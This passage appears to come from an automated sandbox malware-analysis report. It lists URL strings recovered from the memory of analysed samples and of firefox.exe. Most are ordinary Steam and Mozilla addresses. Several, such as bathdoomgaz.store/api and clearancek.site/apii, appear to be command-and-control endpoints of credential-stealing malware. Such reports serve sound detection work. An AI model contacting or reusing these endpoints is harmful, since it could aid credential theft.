Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 00000031.00000003.3286684174.000001F80F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3287588091.000001F80F062000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3292915294.000001F80DAEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3292915294.000001F80DAF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3284315573.000001F80D7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3283275092.000001F80D763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3272420700.000001F80B1DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: firefox.exe, 00000023.00000002.3207983083.00000229087E0000.00000004.08000000.00040000.00000000.sdmp, mozilla-temp-41.28.dr	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2254896129.000000000605D000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945827763.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3105625297.0000000005252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.3128539631.000002AE09131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3307024011.000001F810BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: fb9fc5d370.exe, 0000000F.00000003.3104306974.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 0000000F.00000002.3106716723.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 0000000F.00000003.3103852272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000002.3270987738.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3269637605.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3268917085.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, fb9fc5d370.exe, 00000025.00000003.3269393293.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/apii
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steams
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.cV
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.co
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globa
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=e
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 